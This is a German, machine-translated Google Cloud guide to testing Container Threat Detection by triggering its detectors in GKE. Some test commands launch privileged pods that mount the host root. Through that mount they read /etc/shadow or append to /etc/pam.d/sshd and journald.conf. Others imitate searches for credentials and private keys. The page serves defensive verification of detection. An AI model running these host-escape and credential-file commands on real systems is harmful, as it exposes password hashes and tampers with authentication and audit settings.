Diese Seite wurde von der Cloud Translation API übersetzt.

Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufen von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden. Wenn Sie die Bedrohungserkennung auf ARM testen möchten, benötigen Sie einen Cluster mit einem Knotenpool, der ARM-Instanzen enthält. Weitere Informationen finden Sie unter Arm-Arbeitslasten in GKE.

Detektoren aktivieren

Einige Detektoren sind standardmäßig deaktiviert. Um diese Detektoren zu testen, müssen Sie sie zuerst aktivieren. Eine vollständige Liste der standardmäßig deaktivierten Detektoren finden Sie unter Deaktivierte Detektoren.

Führen Sie den folgenden Befehl aus, um den Status aller Detektoren zu prüfen:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Führen Sie den folgenden Befehl aus, um einen Detector zu aktivieren:
```
gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=MODULE_NAME \
    --project=${PROJECT}
```
Ersetzen Sie MODULE_NAME durch den Modulnamen des Detektors, den Sie aktivieren möchten. Eine vollständige Liste der Detektoren und der entsprechenden Modulnamen finden Sie unter Container Threat Detection-Detektoren.

Wenn Sie beispielsweise den Added Binary Executed-Detektor aktivieren möchten, führen Sie den folgenden Befehl aus:
```
gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}
```

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

Rufen Sie die Google Cloud Console auf.

Rufen Sie die Google Cloud Console auf.
Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.
Klicken Sie auf Google Cloud Shell aktivieren.
Legen Sie in Cloud Shell Umgebungsvariablen fest:
1. Die Zone, in der sich der Cluster befindet:
```
export ZONE=CLUSTER_ZONE
```
2. Das Projekt, in dem sich der Container befindet:
```
export PROJECT=PROJECT_ID
```
3. Ihr Clustername:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 24.04 ausgeführt wird und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

ARM-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Binärdatei ausgeführt“ von Container Threat Detection beim Erstellen eines Containers vorübergehend gefiltert. Wenn Sie alle Ergebnisse des Typs „Hinzugefügte Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 24.04 befindet und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Mediathek ab und laden Sie sie mit ld:

x86-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

ARM-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ von Container Threat Detection vorübergehend gefiltert, wenn Sie einen Container erstellen. Wenn Sie alle Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Sammlung: Pam.d-Änderung (Vorabversion)

Wenn Sie eine Erkennung von pam.d-Änderungen auslösen möchten, ändern Sie eine der PAM-bezogenen Dateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/pam.d/sshd geändert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei aus, die eine der PAM-bezogenen Dateien auf dem Host ändert.

x86-Knoten:

tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Dieses Testverfahren löst ein Ergebnis des Typs „pam.d-Änderung“ aus, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Command-and-Control-Aktivitäten: Steganographie-Tool erkannt

Um ein Ergebnis des Typs Command and Control: Steganography Tool Detected (Vorschau) auszulösen, muss eine Binärdatei mit Funktionen zur Dateimanipulation, die mit Steganografietools übereinstimmen, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in steghide umbenannt (oder ein anderes Steganografie-Tool wie stegano verwendet). Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, einen Container zum Verbergen oder Extrahieren von Daten vorzubereiten, möglicherweise zu böswilligen Zwecken.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Steganographie-Tool wie steghide aus:

x86-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

ARM-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Bei diesem Testverfahren wird ein Ergebnis des Typs Command and Control: Steganography Tool Detected erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Auf vertrauliche Dateien auf Knoten zugreifen (Vorschau)

Um die Erkennung „Auf vertrauliche Datei zugegriffen“ auszulösen, lesen Sie die /etc/shadow-Datei des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/shadow mit cat gelesen.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Binärprogramm aus, das die Datei /etc/shadow des Hosts liest.

x86-Knoten:

tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

Mit diesem Testverfahren wird ein Ergebnis des Typs „Auf vertrauliche Datei zugegriffen“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zugriff auf Anmeldedaten: Suche Google Cloud Anmeldedaten

Um ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials auszulösen, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in grep umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf eine Form von Google Cloud Anmeldedaten hinweist. Diese Aktion wurde als verdächtig gekennzeichnet, da sie dem Verhalten ähnelt, das beim Versuch beobachtet wurde, Google Cloud Anmeldedaten zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

ARM-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Mit diesem Testverfahren wird ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Um ein Credential Access: GPG Key Reconnaissance-Ergebnis auszulösen, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in find umbenannt (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die Passwörter oder Secrets nahelegen. Diese Aktion wird als verdächtig eingestuft, da sie dem Verhalten ähnelt, das beim Versuch beobachtet wird, GPG-Sicherheitsschlüssel zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

ARM-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Mit diesem Testverfahren wird ein Credential Access: GPG Key Reconnaissance-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Um ein Credential Access: Search Private Keys or Passwords-Ergebnis auszulösen, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in find umbenannt (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die Passwörter oder Secrets nahelegen. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, vertrauliche Informationen wie private Schlüssel oder Passwörter in einer Containerumgebung zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

ARM-Knoten:

tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Mit diesem Testverfahren wird ein Ergebnis des Typs Credential Access: Search Private Keys or Passwords erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 ELF File Command Lines

Damit ein Defense Evasion: Base64 ELF File Command Line-Ergebnis ausgelöst wird, muss ein Prozess base64 als Argument und f0VMRgIB als Argument haben, das die Base64-codierte Form von ELF ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. base64 wird dann mit den Argumenten -d und f0VMRgIB ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Mit diesem Testverfahren werden zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse erstellt, die Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren. Es werden zwei Ergebnisse erstellt, da sowohl der ursprüngliche bash -c-Befehl als auch die Ausführung des base64 -d-Befehls die Ergebniskriterien erfüllen.

Defense Evasion: Base64 Encoded Python Script Executed

Damit ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und aW1wb3J0IH als Argument haben, das die base64-codierte Form von python -c ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument aW1wb3J0IH ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Mit diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Python Script Executed erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 Encoded Shell Script Executed

Damit ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und IyEvYmluL2Jhc2gK als Argument haben, das die base64-codierte Form von #!/bin/bash ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument IyEvYmluL2Jhc2gK ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Mit diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Base64 Encoded Shell Script Executed erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Linux-Audit-System deaktivieren oder ändern (Vorschau)

Wenn Sie eine Erkennung für die Deaktivierung oder Änderung des Linux-Audit-Systems auslösen möchten, ändern Sie eine der Audit-bezogenen Konfigurationsdateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Root-Dateisystem des Hosts im Container bereitgestellt und dann /etc/systemd/journald.conf geändert.

Dies ist ein Detektor für die Dateiüberwachung und er hat spezifische GKE-Versionsanforderungen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei aus, die eine der prüfungsbezogenen Konfigurationsdateien des Hosts ändert, z. B. /etc/systemd/journald.conf.

x86-Knoten:

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

ARM-Knoten:

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

